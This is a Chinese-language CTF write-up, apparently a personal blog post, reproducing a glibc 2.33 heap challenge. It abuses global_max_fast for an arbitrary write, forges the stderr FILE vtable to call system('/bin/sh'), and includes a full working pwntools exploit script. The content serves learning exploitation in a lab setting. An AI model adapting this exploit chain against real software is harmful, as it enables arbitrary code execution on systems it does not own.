原来没弄过,一直想弄明白,拿到WP看了好久,然后一步步复现,由于官方给出的WP是答题人上传的有大量冗余代码的WP所以看懂了相当困难,不过赶上周末有点时间,反复试验终于复现成功。
题目先建一个5字节地址的块,然后可以在这个块个随意修改和释放。add使用calloc不使用tcache,show则是基于buf里的地址,由于所有的edit都在mmap块内需要修改libc的地址会比较麻烦。
这里用到global_max_fast这个值,这个值在libc的mallopt函数里,在libc-2.33里偏移是0x1e3e78
__int64 __fastcall mallopt(unsigned int a1, int a2)
{
......
case 1u:
v4 = 0LL;
if ( (unsigned __int64)a2 <= 0xA0 )
{
v4 = a1;
v7 = (a2 + 8LL) & 0xFFFFFFFFFFFFFFF0LL;
if ( (unsigned __int64)a2 <= 7 )
v7 = 16LL;
qword_1E3E78 = v7; //global_max_fast
}
break;
......
}
这个值是fastbin的最大值,默认是80,也可以直接在libc的可读可写块里搜0x0000000000000080来得到。将这个值改大后,再建大的块就不会被释放到unsort而是直接释放到fastbin这时候修改fd指针为一个值A,再建块时会把这个值A放到fastbin的指针区(这时由于修改了global_max_fast,最大值已经超过0x80所以会造成写溢出,而将A写到指定偏移的位置)。而fastbinY在main_arena+0x10 的位置,每8字节1个指针每个块大小差0x10,想往哪写就设置适当大小的块释放到fastbin,也就是这个公式。
chunk_size = (where - fastbinY)*2 + 0x10
然后这个题的流程就有了:
from pwn import *
'''
patchelf --set-interpreter /home/shi/libc6_2.33-0ubuntu5/lib64/ld-2.33.so pwn
patchelf --add-needed /home/shi/libc6_2.33-0ubuntu5/lib64/libc.so.6 pwn
'''
local = 1
if local == 1:
p = process('./pwn')
else:
p = remote('node4.buuoj.cn', 27787)
#libc_elf = ELF('/home/shi/libc6_2.33-0ubuntu5/lib64/libc.so.6')
libc_elf = ELF('/home/shi/libc/libc6_2.33/lib/x86_64-linux-gnu/libc-2.33.so')
elf = ELF('./pwn')
context.arch = 'amd64'
menu = b'>> '
def add(size):
p.sendlineafter(menu, b'1')
p.sendlineafter(b"size: ", str(size).encode())
def edit(offset, msg):
p.sendlineafter(menu, b'2')
p.sendlineafter(b"size: ", str(len(msg)).encode())
p.sendlineafter(b"offset: ", str(offset).encode())
p.sendafter(b"content: ", msg)
def free(offset):
p.sendlineafter(menu, b'3')
p.sendlineafter(b"idx: ", str(offset).encode())
def show():
p.sendlineafter(menu, b'4')
p.recvuntil(b"content: ")
add(0x18)
pay1 = flat(0,0x21,0,0, 0, 0x431, b'\x00'*0x428, 0x21,0,0, 0,0x21)
pay2 = flat(0,0x21,0,0, 0, 0x421, b'\x00'*0x418, 0x21,0,0, 0,0x21)
edit(0, pay1)
edit(0x800, pay2)
free(0x30)
add(0x420) #让buf值为mmap里的值,供show时使用
#0x55cd19605050: 0x0000003a9a3de000 0x0000003a9a3de030 <-- mmap_base+0x30
free(0x30) #释放两个unsort成链,通过fd,bk得到libc和堆地址
free(0x830)
#0x3a9a3de030: 0x00007f63a3369c00 0x0000003a9a3de820
#libc_base
edit(0x30, b'A')
show()
main_arena = u64(p.recv(6).ljust(8,b'\x00')) - ord('A') - 0x60
libc_base = main_arena -0x10 - libc_elf.sym['__malloc_hook']
libc_elf.address = libc_base
fastbinY = main_arena + 0x10
global_max_fast = libc_base + 0x1e3e78
print('libc:', hex(libc_base))
print('global_max_fast:', hex(global_max_fast))
print('main_arena:', hex(main_arena))
#mmap_heap_base
edit(0x30, b'A'*8)
show()
p.recvuntil(b'A'*8)
mmap_base = u64(p.recvuntil(b'1. alloc', drop=True).ljust(8, b'\x00')) -0x820
print('mmap:', hex(mmap_base))
edit(0x30, p64(main_arena + 0x60)) #恢复被修改的值
#2, modify flobal_max_fast
add(0x410) #unsort2
add(0x500) #unsort1->large1 +30
edit(0x1200, pay2)
free(0x1230)
edit(0x30, flat(main_arena+0x50+0x400, main_arena+0x50+0x400, 0, global_max_fast -0x20 -3))
add(0x500)
#gef➤ x/20gx 0x1e3e70+0x007fcbdea55000
#0x7fcbdec38e70: 0x2ae2200000000000 0x000000000000a79f
def write_where(where,what):
chunk_size = (where - fastbinY)*2 + 0x10
print(hex(where), 'size:', hex(chunk_size), hex(what))
edit(0x20, flat(0, chunk_size+0x11,0,0,0,0))
edit(chunk_size+0x10+0x20, flat(0, 0x21,0,0,0, 0x21))
free(0x30)
edit(0x30, p64(what ^ ((mmap_base + 0x30)>>12)))
add(chunk_size)
#3, stderr->vtable=fake+380, +380+60 :system, stderr:/bin/sh
#write_where(libc_elf.sym['_IO_file_jumps'] + 96, libc_elf.sym['system'])
write_where(libc_elf.sym['_IO_2_1_stderr_'] + 0x380 + 0x60 , libc_elf.sym['system'])
write_where(libc_elf.sym['_IO_2_1_stderr_'] + 0xd8, libc_elf.sym['_IO_2_1_stderr_'] + 0x380 )
write_where(libc_elf.sym['_IO_2_1_stderr_'], 0x0068732f6e69622f )
#0x7f2ba5d4d5e0 <_IO_2_1_stderr_>: 0x0068732f6e69622f <--- /bin/sh
edit(0x1800, flat(0,0x21,b'\x00'*0x18, 0xc1, b'\x00'*0xb8, 0x21,b'\x00'*0x18, 0x21,b'\x00'*0x18))
for i in range(7):
free(0x1830)
edit(0x1830, p64(0)*2)
free(0x1830)
edit(0x1820, flat(0, 0xce))
add(0xffff)
p.interactive()